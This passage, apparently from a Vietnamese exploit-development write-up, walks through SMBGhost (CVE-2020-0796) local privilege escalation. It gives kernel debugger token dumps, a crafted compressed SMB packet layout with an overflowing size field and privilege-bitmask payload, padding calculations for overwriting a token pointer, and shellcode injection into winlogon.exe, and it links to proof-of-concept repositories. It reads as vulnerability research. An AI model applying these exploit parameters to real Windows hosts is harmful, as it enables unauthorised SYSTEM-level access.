TokenId : _LUID +0x018 AuthenticationId : _LUID +0x020 ParentTokenId : _LUID +0x028 ExpirationTime : _LARGE_INTEGER 0x06207526`b64ceb90 +0x030 TokenLock : 0xffff970f`5527a750 _ERESOURCE +0x038 ModifiedId : _LUID +0x040 Privileges : _SEP_TOKEN_PRIVILEGES +0x058 AuditPolicy : _SEP_AUDIT_POLICY ..... --------------------- 0: kd> dx -id 0,0,ffff970f55283380 -r1 (*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffaa012bc06330)) (*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffaa012bc06330)) [Type: _SEP_TOKEN_PRIVILEGES] [+0x000] Present : 0x1ff2ffffbc [Type: unsigned __int64] [+0x008] Enabled : 0x1e60b1e890 [Type: unsigned __int64] [+0x010] EnabledByDefault : 0x1e60b1e890 [Type: unsigned __int64] ``` - Vậy thì mục tiêu cuối sẽ là ghi đè được **_TOKEN+0x40** của process chúng ta muốn thành token của System : ``` +------------------------------------------------------------+ | memove(_TOKEN+0x40,&0x1ff2ffffbc_0x1ff2ffffbc ,offset=16) | +------------------------------------------------------------+ ``` - Vậy chúng ta cần `offset=16`. - Và để gây ra được ``Interger Overflow`` thì chúng ta hãy nhớ đến một field nữa có thể gây ra được điều này là `OriginalCompressedSegmentSize` vì : ```c= new_alloc = SrvNetAllocateBuffer( Input_SMBHeader.OriginalCompressedSegmentSize + CompressionAlgorithm.offset_or_length, 0i64); ``` - Tiếp theo : ```c= if ( SmbCompressionDecompress( CompressionAlgorithm_Negotiate, &a1->my_packet->SMBHeader.ProtocoID + Input_SMBHeader.offset_or_length + SMB_HEADER_SIZE, a1->my_packet->SMBHeader.offset_or_length - Input_SMBHeader.offset_or_length - SMB_HEADER_SIZE, &new_alloc->Buffer[Input_SMBHeader.offset_or_length], Input_SMBHeader.OriginalCompressedSegmentSize, &NumberOfByte_Decompressed) ``` - Chương trình sẽ Decompress data tại địa `SMBPacket + SIZE_HEADER + offset`. Vậy thì thay vì Decompress bình thường theo cấu trúc sau : ```c +-----------------------------------------------------+ | ProtocolID=0x424D53FC | 4 BYTE +-----------------------------------------------------+ | OriginalCompressedSegmentSize | 4 BYTE +-----------------------------------------------------+ | CompressionAlgorithm | Flags | 4 BYTE +-----------------------------------------------------+ | Offset | 4 BYTE +-----------------------------------------------------+ | Compressed Data=............ | +-----------------------------------------------------+ ``` Thì chúng ta sẽ thiết kế packet thành như sau : ```c +-----------------------------------------------------+ | ProtocolID=0x424D53FC | 4 BYTE +-----------------------------------------------------+ | OriginalCompressedSegmentSize=0xffffffff | 4 BYTE +-----------------------------------------------------+ | CompressionAlgorithm=0x2 | Flags | 4 BYTE +-----------------------------------------------------+ | Offset=16 | 4 BYTE +-----------------------------------------------------+ | 0x1ff2ffffbc,0x1ff2ffffbc /*FULL PRIV*/ | +-----------------------------------------------------+ | Compressed Data=.................... | +-----------------------------------------------------+ ``` - Tiếp theo là payload phải thỏa mãn là fill được hết vùng nhớ đã được **alloc** (0x1100 byte) và ghi đè được con trỏ Buffer trong `AllocHeader` thành **_TOKEN+0x40** (với `_TOKEN` là token của process muốn nâng quyền) . - Vậy thì để biết được khoảng cách giữa con trỏ `Buffer` cho tới ``AllocHeader`` thì chúng ta sẽ DEBUG để tính toán : ![](https://hackmd.io/_uploads/SJCUWDkLh.png) - Vậy thì chúng ta sẽ có : `padding = &AllocHeader - BufferPointer = 0xffff970f5a591150-0xffff970f5a590050 = 0x1100`, vậy thì chúng ta sẽ pad thêm **8*2 byte** nữa để tới được con trỏ **Buffer** vậy túm lại là **padding = 0x01110** - Việc còn lại là chỉ cần lấy được địa chỉ của token process chúng ta cần nâng quyền. ## 3.3 Exploit - Sau khi đã ghi được thành công magic value vào `token+0x40` thì mình đã nâng quyền được user lên như sau : ![](https://hackmd.io/_uploads/ryP6C618h.png) - Mặc dù đã có đầy đủ khá nhiều Priv nhưng mình vẫn không thể thao tác được bên trong system : ![](https://hackmd.io/_uploads/rkDsuWWUh.png) - Mình cũng không rõ tại sao nhưng sau khi đi tham khảo thêm các bài viết thì mình quyết định sẽ đổi cách. Trước hết là về phần cách làm thì khi đã bật được quyền `SeDebugPrivilege` thì mình có thể thực hiện inject được shellcode vào **winlogon.exe** (Một tiến trình của `SYSTEM`) - Shellcode thì mình sẽ lấy trên internet và thay vì pop up `calc` thì mình patch lại shellcode là pop up lên một cửa sổ `cmd` nữa là xong: ![](https://hackmd.io/_uploads/S1L5eTbI2.png) ## Resource https://github.com/Ajomix/CVE-2020-0796/ ## Reference https://github.com/datntsec/CVE-2020-0796 https://github.com/danigargu/CVE-2020-0796/ https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-rtldecompressbufferex2 https://github.com/sam-b/windows_kernel_address_leaks https://www.synacktiv.com/en/publications/im-smbghost-daba-dee-daba-da.html https://blog.zecops.com/research/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/ https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962 https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/get-all-open-handles-and-kernel-object-address-from-userland